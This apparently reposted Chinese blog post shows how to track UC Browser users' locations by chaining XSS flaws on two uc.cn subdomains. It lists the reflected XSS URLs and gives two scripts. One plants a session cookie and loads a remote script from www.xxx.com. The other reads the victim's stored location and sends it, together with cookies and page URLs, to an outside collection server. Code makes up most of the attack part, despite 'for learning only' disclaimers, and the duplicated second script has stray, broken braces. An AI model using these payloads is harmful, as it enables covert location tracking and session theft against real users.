android+定位跟踪,android实现远程定位追踪(UC+XSS)

前言

当PC时代的辉光逐渐隐入了暮霭,一轮更加炫目的红日正在缓缓升起,时至今日,移动互联网已经成为引领时代发展与前沿技术不断革新的中流砥柱,短短十数年 间,手机的兴盛就超出了所有人的预料,大海淘沙,洗尽多少红尘铅华,新的思想,新的技术如雨后春笋般,让人目不暇接。智能化网络、云计算大存储服务、大数 据交互技术、3G/4G乃至5G网络等等新技术层出不穷,然而与此同时,一个个新的问题开始逐渐显露出了它的冰山一角,那就是信息交流如此频繁的今天,谁 来保护用户的隐私信息安全,本文将通过uc浏览器实现远程定位追踪的案例,展现潜藏在流行应用里面的安全漏洞所造成的危害!

声明:本文为作者技术交流文章,勿作他用!!

定位分析

uc浏览器会使用基站定位当前位置,并在uc乐园(u.uc.cn)显示。8bc3ba6a40c5228a0c92de1054f7fbee.png

使用burp抓取uc乐园主页数据分析(http://yaseng.me/use-burpsuite-audit-android-app- data.html)页面,此页面需要cookie登陆验证想要获取 http://u.uc.cn/?uc_param_str=sspfligiwinieisive&&gamePage=1

页面的内容即获取用户位置,由于浏览器的同源策略与登陆验证等

条件

操作.uc.cn cookie

只能同源获取数据

需求

一个u.uc.cn 域下的xss

一个其他子域的xss

xss 利用

简单的fuzz了下 *.uc.cn 的xss,正好满足老衲的需求

xss list

Default

xss1:http://epay.uc.cn/index.php?do=%3Cscript%3Ealert%280%29%3C/script%3E

xss2:http://u.uc.cn/?uc_param_str=sspfligiwinieisive&r=mood/view&moodId=4439141839360554257&userId=1&msg=<SCRIPT>alert(0)</SCRIPT>

1

2

xss1:http://epay.uc.cn/index.php?do=%3Cscript%3Ealert%280%29%3C/script%3E

xss2:http://u.uc.cn/?uc_param_str=sspfligiwinieisive&r=mood/view&moodId=4439141839360554257&userId=1&msg=<SCRIPT>alert(0)</SCRIPT>

简单演示

8fc4d979a91cd0378844b63524383e81.png

攻击流程

Default

任意html页面iframe xss1 页面加载1.js -> 1.js 设置登陆cookie 并 iframe xss2 加载 2.js -> 2.js 得到同源的location表单数据 发送到服务端

1

任意html页面iframexss1页面加载1.js->1.js设置登陆cookie并iframexss2加载2.js->2.js得到同源的location表单数据发送到服务端

配合xss platform

65973b47a9e04dbd66c97b12f4944144.png

核心代码

1.js

Default

document.cookie="ly_sess=2634Mq37%2BglvX2pOxslrjS4mqhy3t1YOaF3F5%2BlVTbhz51JLIf6otrhDbSUEshVZ71T%2BAwN%2B%2F4GMlOFnYDkMoCrmQf3bkDrmUG9VDB%2F2jbed5%2BrJFA;path=/;domain=.uc.cn;gamePage=1"

var b = document.createElement('iframe');b.src='http://u.uc.cn/?uc_param_str=sspfligiwinieisive&&gamePage=1';b.style.display="none"; document.body.appendChild(b);

var c = document.createElement('iframe');c.src='http://u.uc.cn/?uc_param_str=sspfligiwinieisive&r=mood/view&moodId=4439141839360554257&userId=1&msg=<script src=//www.xxx.com/2.js></script>';document.body.appendChild(c);

1

2

3

document.cookie="ly_sess=2634Mq37%2BglvX2pOxslrjS4mqhy3t1YOaF3F5%2BlVTbhz51JLIf6otrhDbSUEshVZ71T%2BAwN%2B%2F4GMlOFnYDkMoCrmQf3bkDrmUG9VDB%2F2jbed5%2BrJFA;path=/;domain=.uc.cn;gamePage=1"

varb=document.createElement('iframe');b.src='http://u.uc.cn/?uc_param_str=sspfligiwinieisive&&gamePage=1';b.style.display="none";document.body.appendChild(b);

varc=document.createElement('iframe');c.src='http://u.uc.cn/?uc_param_str=sspfligiwinieisive&r=mood/view&moodId=4439141839360554257&userId=1&msg=<script src=//www.xxx.com/2.js></script>';document.body.appendChild(c);

2.js(xss platform 模块代码)

Default

var b = document.createElement('iframe');

b.onload = function() {

var a;

try {

if (document.all) {

a = document.frames["location"].document;

} else {

a = document.getElementById("location").contentDocument;

}

var l = a.all.location.value;

if (l) {

img = new Image();

img.src = "http://xxx.sinaapp.com/index.php?do=api&id={projectId}&cookie=" + escape(document.cookie) + "&location=" + escape(window.location.href) + "&top=" + escape(top.location.href) + "&address=" + escape(l);

img.width = 0;

img.height = 0;

}

} catch(ex) {}

}

b.src = '/?uc_param_str=sspfligiwinieisive&&gamePage=1';

b.id = "location";

b.style.display = "none";

document.body.appendChild(b);

} catch(ex) {

}

}

b.src = '/?uc_param_str=sspfligiwinieisive&&gamePage=1';

b.id = "location";

b.style.display = "none";

document.body.appendChild(b);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

varb=document.createElement('iframe');

b.οnlοad=function(){

vara;

try{

if(document.all){

a=document.frames["location"].document;

}else{

a=document.getElementById("location").contentDocument;

}

varl=a.all.location.value;

if(l){

img=newImage();

img.src="http://xxx.sinaapp.com/index.php?do=api&id={projectId}&cookie="+escape(document.cookie)+"&location="+escape(window.location.href)+"&top="+escape(top.location.href)+"&address="+escape(l);

img.width=0;

img.height=0;

}

}catch(ex){}

}

b.src='/?uc_param_str=sspfligiwinieisive&&gamePage=1';

b.id="location";

b.style.display="none";

document.body.appendChild(b);

}catch(ex){

}

}

b.src='/?uc_param_str=sspfligiwinieisive&&gamePage=1';

b.id="location";

b.style.display="none";

document.body.appendChild(b);

后记

学无余力,仓促之间,一蹴而就,恐有失偏颇,错漏之处,欢迎指正,对文章所提到之内容,有兴趣者,可自行调试,本文目的在于学习与交流,请勿用作他途!

[via@yaseng]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值